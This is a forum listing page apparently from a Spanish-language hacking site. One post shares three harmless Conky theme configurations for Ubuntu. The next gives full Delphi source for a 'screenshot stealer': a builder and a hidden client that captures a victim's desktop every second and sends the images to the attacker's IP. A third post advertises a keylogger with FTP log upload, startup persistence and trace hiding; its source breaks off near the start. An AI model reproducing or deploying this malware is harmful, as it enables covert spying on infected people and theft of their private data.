elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ... 43
141  Sistemas Operativos / GNU/Linux / Tres themes para Conky Colors en: 26 Noviembre 2013, 23:46 pm
Hace poco que me mude a Ubuntu y me baje el conky colors , el problema es que ninguno de todos los themes que busque en internet me gustaban asi que basado en un codigo que encontre en la pagina ubuntu-es hice estos tres themes para conky colors.

Theme Matrix.
 


Código:
# Matrix Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?

Theme Tron.



Código:
# Tron Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?

Theme DarkCity.



Código:
# DarkCity Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %a, }${time %e %B %G} $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %H:%M:%S}$color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $kernel $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $uptime $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $processes ($running_processes running) $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $loadavg $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $mem / $memmax ($memperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $swap / $swapmax ($swapperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Home: $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Download : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${downspeed eth0} k/s ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Upload : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${upspeed eth0} k/s $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totaldown eth0} ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totalup eth0} $color $font


${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?

No son la gran cosa pero el que me gusta usar es el de matrix.
142  Programación / Programación General / [Delphi] DH ScreenShoter Stealer 0.2 en: 25 Noviembre 2013, 15:34 pm
Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.



Los codigos.

El generador.

Código
  1. // DH ScreenShoter Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit screen;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  14.  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  15.  sEdit;
  16.  
  17. type
  18.  TForm1 = class(TForm)
  19.    ServerSocket1: TServerSocket;
  20.    ServerSocket2: TServerSocket;
  21.    Timer1: TTimer;
  22.    Timer2: TTimer;
  23.    sSkinManager1: TsSkinManager;
  24.    sPageControl1: TsPageControl;
  25.    sTabSheet1: TsTabSheet;
  26.    sTabSheet2: TsTabSheet;
  27.    sTabSheet3: TsTabSheet;
  28.    sTabSheet4: TsTabSheet;
  29.    sStatusBar1: TsStatusBar;
  30.    sGroupBox1: TsGroupBox;
  31.    Image1: TImage;
  32.    sGroupBox2: TsGroupBox;
  33.    sGroupBox3: TsGroupBox;
  34.    sGroupBox4: TsGroupBox;
  35.    sRadioButton1: TsRadioButton;
  36.    sRadioButton2: TsRadioButton;
  37.    sGroupBox5: TsGroupBox;
  38.    sButton1: TsButton;
  39.    Image2: TImage;
  40.    sLabel1: TsLabel;
  41.    sGroupBox6: TsGroupBox;
  42.    sEdit1: TsEdit;
  43.    sButton2: TsButton;
  44.    sGroupBox7: TsGroupBox;
  45.    sButton3: TsButton;
  46.    Image3: TImage;
  47.  
  48.    procedure ServerSocket1ClientRead(Sender: TObject;
  49.      Socket: TCustomWinSocket);
  50.    procedure ServerSocket2ClientRead(Sender: TObject;
  51.      Socket: TCustomWinSocket);
  52.    procedure Timer1Timer(Sender: TObject);
  53.    procedure Timer2Timer(Sender: TObject);
  54.    procedure sButton1Click(Sender: TObject);
  55.    procedure sButton2Click(Sender: TObject);
  56.    procedure sButton3Click(Sender: TObject);
  57.    procedure FormCreate(Sender: TObject);
  58.  private
  59.    { Private declarations }
  60.    conexion: TFileStream;
  61.    control: integer;
  62.  
  63.  public
  64.    { Public declarations }
  65.  end;
  66.  
  67. var
  68.  Form1: TForm1;
  69.  cantidad: string;
  70.  
  71. implementation
  72.  
  73. uses fullscreen;
  74. {$R *.dfm}
  75. // Functions
  76.  
  77. function dhencode(texto, opcion: string): string;
  78. // Thanks to Taqyon
  79. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  80. var
  81.  num: integer;
  82.  aca: string;
  83.  cantidad: integer;
  84.  
  85. begin
  86.  
  87.  num := 0;
  88.  Result := '';
  89.  aca := '';
  90.  cantidad := 0;
  91.  
  92.  if (opcion = 'encode') then
  93.  begin
  94.    cantidad := length(texto);
  95.    for num := 1 to cantidad do
  96.    begin
  97.      aca := IntToHex(ord(texto[num]), 2);
  98.      Result := Result + aca;
  99.    end;
  100.  end;
  101.  
  102.  if (opcion = 'decode') then
  103.  begin
  104.    cantidad := length(texto);
  105.    for num := 1 to cantidad div 2 do
  106.    begin
  107.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  108.      Result := Result + aca;
  109.    end;
  110.  end;
  111.  
  112. end;
  113.  
  114. procedure achicar(archivo, medir1, medir2: string);
  115.  
  116. // Credits  :
  117. // Based on : http://www.delphidabbler.com/tips/99
  118. // Thanks to www.delphidabbler.com
  119.  
  120. var
  121.  bit3: Double;
  122.  bit2: TJpegImage;
  123.  bit1: TBitmap;
  124.  
  125. begin
  126.  
  127.  try
  128.    begin
  129.  
  130.      bit2 := TJpegImage.Create;
  131.  
  132.      bit2.Loadfromfile(archivo);
  133.  
  134.      if bit2.Height > bit2.Width then
  135.      begin
  136.        bit3 := StrToInt(medir1) / bit2.Height
  137.      end
  138.      else
  139.      begin
  140.        bit3 := StrToInt(medir2) / bit2.Width;
  141.      end;
  142.  
  143.      bit1 := TBitmap.Create;
  144.  
  145.      bit1.Width := Round(bit2.Width * bit3);
  146.      bit1.Height := Round(bit2.Height * bit3);
  147.      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
  148.  
  149.      bit2.Assign(bit1);
  150.  
  151.      bit2.SaveToFile(archivo);
  152.  
  153.    end;
  154.  except
  155.    //
  156.  end;
  157.  
  158. end;
  159. //
  160.  
  161. procedure TForm1.FormCreate(Sender: TObject);
  162. begin
  163.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  164.  sSkinManager1.SkinName := 'garnet';
  165.  sSkinManager1.Active := True;
  166. end;
  167.  
  168. procedure TForm1.sButton1Click(Sender: TObject);
  169. begin
  170.  try
  171.    begin
  172.      ServerSocket1.Open;
  173.  
  174.      sStatusBar1.Panels[0].Text := '[+] Online';
  175.      Form1.sStatusBar1.Update;
  176.    end;
  177.  except
  178.    begin
  179.      sStatusBar1.Panels[0].Text := '[-] Error';
  180.      Form1.sStatusBar1.Update;
  181.    end;
  182.  end;
  183.  
  184. end;
  185.  
  186. procedure TForm1.sButton2Click(Sender: TObject);
  187. begin
  188.  try
  189.    begin
  190.      ServerSocket1.Close;
  191.      sStatusBar1.Panels[0].Text := '[+] OffLine';
  192.      Form1.sStatusBar1.Update;
  193.    end;
  194.  except
  195.    begin
  196.      sStatusBar1.Panels[0].Text := '[-] Error';
  197.      Form1.sStatusBar1.Update;
  198.    end;
  199.  end;
  200. end;
  201.  
  202. procedure TForm1.sButton3Click(Sender: TObject);
  203. var
  204.  aca: THandle;
  205.  code: Array [0 .. 9999 + 1] of Char;
  206.  nose: DWORD;
  207.  stubgenerado: string;
  208.  lineafinal: string;
  209.  linea: string;
  210. begin
  211.  
  212.  aca := INVALID_HANDLE_VALUE;
  213.  nose := 0;
  214.  
  215.  stubgenerado := 'stealer_ready.exe';
  216.  
  217.  linea := '[ip]' + sEdit1.Text + '[ip]';
  218.  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
  219.  
  220.  DeleteFile(stubgenerado);
  221.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  222.        + '/' + 'Data/servernow.exe'), PChar
  223.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  224.  
  225.  StrCopy(code, PChar(lineafinal));
  226.  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
  227.    nil, OPEN_EXISTING, 0, 0);
  228.  if (aca <> INVALID_HANDLE_VALUE) then
  229.  begin
  230.    SetFilePointer(aca, 0, nil, FILE_END);
  231.    WriteFile(aca, code, 9999, nose, nil);
  232.    CloseHandle(aca);
  233.  end;
  234.  
  235.  sStatusBar1.Panels[0].Text := '[+] Done';
  236.  Form1.sStatusBar1.Update;
  237.  
  238. end;
  239.  
  240. procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  241.  Socket: TCustomWinSocket);
  242. var
  243.  contenido: string;
  244.  
  245. begin
  246.  
  247.  contenido := Socket.ReceiveText;
  248.  
  249.  if (Pos('0x3archivo', contenido) > 0) then
  250.  begin
  251.    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
  252.      fmCREATE or fmOPENWRITE and fmsharedenywrite);
  253.  
  254.    ServerSocket2.Open;
  255.  
  256.  end
  257.  else
  258.  begin
  259.    if (Pos('0x3acantid', contenido) > 0) then
  260.    begin
  261.      cantidad := Copy(contenido, 11, length(contenido));
  262.    end;
  263.  end;
  264. end;
  265.  
  266. procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  267.  Socket: TCustomWinSocket);
  268. var
  269.  data: array [0 .. 9999] of Char;
  270.  otracantidad: integer;
  271.  
  272. begin
  273.  
  274.  Timer1.Enabled := True;
  275.  
  276.  while Socket.ReceiveLength > 0 do
  277.  
  278.  begin
  279.  
  280.    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
  281.  
  282.    if otracantidad <= 0 then
  283.    begin
  284.      Break;
  285.    end
  286.    else
  287.    begin
  288.      conexion.Write(data, otracantidad);
  289.    end;
  290.  
  291.    if conexion.Size >= StrToInt(cantidad) then
  292.  
  293.    begin
  294.  
  295.      conexion.Free;
  296.  
  297.      Timer1.Enabled := False;
  298.  
  299.      control := 0;
  300.  
  301.      Break;
  302.  
  303.    end;
  304.  end;
  305. end;
  306.  
  307. procedure TForm1.Timer1Timer(Sender: TObject);
  308. begin
  309.  control := 1;
  310. end;
  311.  
  312. procedure TForm1.Timer2Timer(Sender: TObject);
  313. begin
  314.  
  315.  try
  316.    begin
  317.      if ServerSocket1.Active = True then
  318.      begin
  319.        if FileExists('screen.jpg') then
  320.        begin
  321.  
  322.          if (sRadioButton1.Checked) then
  323.          begin
  324.            achicar('screen.jpg', '400', '400');
  325.            Image1.Picture.Loadfromfile('screen.jpg');
  326.          end
  327.          else
  328.          begin
  329.            Form2.Show;
  330.            achicar('screen.jpg', '1000', '1000');
  331.            Form2.Image1.Picture.Loadfromfile('screen.jpg');
  332.          end;
  333.        end;
  334.      end;
  335.    end;
  336.  except
  337.    //
  338.  end;
  339. end;
  340.  
  341. end.
  342.  
  343. // The End ?
  344.  

El servidor.

Código
  1. // DH ScreenShoter Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit server;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    ClientSocket1: TClientSocket;
  18.    ClientSocket2: TClientSocket;
  19.    Timer1: TTimer;
  20.    procedure FormCreate(Sender: TObject);
  21.    procedure Timer1Timer(Sender: TObject);
  22.  private
  23.    { Private declarations }
  24.  public
  25.    { Public declarations }
  26.  end;
  27.  
  28. var
  29.  Form1: TForm1;
  30.  target: string;
  31.  
  32. implementation
  33.  
  34. {$R *.dfm}
  35. // Functions
  36.  
  37. function regex(text: String; deaca: String; hastaaca: String): String;
  38. begin
  39.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  40.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  41.  Result := text;
  42. end;
  43.  
  44. function dhencode(texto, opcion: string): string;
  45. // Thanks to Taqyon
  46. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  47. var
  48.  num: integer;
  49.  aca: string;
  50.  cantidad: integer;
  51.  
  52. begin
  53.  
  54.  num := 0;
  55.  Result := '';
  56.  aca := '';
  57.  cantidad := 0;
  58.  
  59.  if (opcion = 'encode') then
  60.  begin
  61.    cantidad := Length(texto);
  62.    for num := 1 to cantidad do
  63.    begin
  64.      aca := IntToHex(ord(texto[num]), 2);
  65.      Result := Result + aca;
  66.    end;
  67.  end;
  68.  
  69.  if (opcion = 'decode') then
  70.  begin
  71.    cantidad := Length(texto);
  72.    for num := 1 to cantidad div 2 do
  73.    begin
  74.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  75.      Result := Result + aca;
  76.    end;
  77.  end;
  78.  
  79. end;
  80.  
  81. procedure capturar(nombre: string);
  82. var
  83.  imagen2: TJpegImage;
  84.  imagen1: TBitmap;
  85.  aca: HDC;
  86.  
  87. begin
  88.  
  89.  aca := GetWindowDC(GetDesktopWindow);
  90.  
  91.  imagen1 := TBitmap.Create;
  92.  imagen1.PixelFormat := pf24bit;
  93.  imagen1.Height := Screen.Height;
  94.  imagen1.Width := Screen.Width;
  95.  
  96.  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
  97.    SRCCOPY);
  98.  
  99.  imagen2 := TJpegImage.Create;
  100.  imagen2.Assign(imagen1);
  101.  imagen2.CompressionQuality := 60;
  102.  imagen2.SaveToFile(nombre);
  103.  
  104. end;
  105.  
  106.  
  107. //
  108.  
  109. procedure TForm1.FormCreate(Sender: TObject);
  110.  
  111. var
  112.  ob: THandle;
  113.  code: Array [0 .. 9999 + 1] of Char;
  114.  nose: DWORD;
  115.  todo: string;
  116.  
  117. begin
  118.  
  119.  Application.ShowMainForm := False;
  120.  
  121.  ob := INVALID_HANDLE_VALUE;
  122.  code := '';
  123.  
  124.  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  125.    OPEN_EXISTING, 0, 0);
  126.  if (ob <> INVALID_HANDLE_VALUE) then
  127.  begin
  128.    SetFilePointer(ob, -9999, nil, FILE_END);
  129.    ReadFile(ob, code, 9999, nose, nil);
  130.    CloseHandle(ob);
  131.  end;
  132.  
  133.  todo := regex(code, '[63686175]', '[63686175]');
  134.  todo := dhencode(todo, 'decode');
  135.  
  136.  target := regex(todo, '[ip]', '[ip]');
  137.  
  138.  try
  139.    begin
  140.      ClientSocket1.Address := target;
  141.      ClientSocket1.Open;
  142.    end;
  143.  except
  144.    //
  145.  end;
  146.  
  147. end;
  148.  
  149. procedure TForm1.Timer1Timer(Sender: TObject);
  150. var
  151.  archivo: string;
  152.  envio: TFileStream;
  153.  dir: string;
  154.  
  155. begin
  156.  
  157.  try
  158.    begin
  159.  
  160.      if ClientSocket1.Active = True then
  161.  
  162.      begin
  163.        dir := GetEnvironmentVariable('USERPROFILE') + '\';
  164.  
  165.        chdir(dir);
  166.  
  167.        if (FileExists('screen.jpg')) then
  168.        begin
  169.          DeleteFile('screen.jpg');
  170.        end;
  171.  
  172.        capturar('screen.jpg');
  173.  
  174.        archivo := dir + 'screen.jpg';
  175.  
  176.        try
  177.          begin
  178.            ClientSocket1.Socket.SendText
  179.              ('0x3archivo' + ExtractFileName(archivo));
  180.            envio := TFileStream.Create(archivo, fmopenread);
  181.  
  182.            sleep(500);
  183.  
  184.            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));
  185.  
  186.            envio.Free;
  187.  
  188.            ClientSocket2.Address := target;
  189.            ClientSocket2.Open;
  190.  
  191.            ClientSocket2.Socket.SendStream
  192.              (TFileStream.Create(archivo, fmopenread));
  193.          end;
  194.        except
  195.          //
  196.        end;
  197.      end;
  198.    end;
  199.  except
  200.    //
  201.  end;
  202.  
  203. end;
  204.  
  205. end.
  206.  
  207. // The End ?
  208.  

Si lo quieren bajar lo pueden hacer de aca.
143  Programación / Programación General / [Delphi] DH KeyCagator 0.7 en: 22 Noviembre 2013, 14:56 pm
Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

Una imagen :



Los dos codigos :

El generador.

Código
  1. // DH KeyCagator 0.7
  2. // (C) Doddy Hackman 2013
  3. // Keylogger Generator
  4. // Icon Changer based in : "IconChanger" By Chokstyle
  5. // Thanks to Chokstyle
  6.  
  7. unit genkey;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
  14.  sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
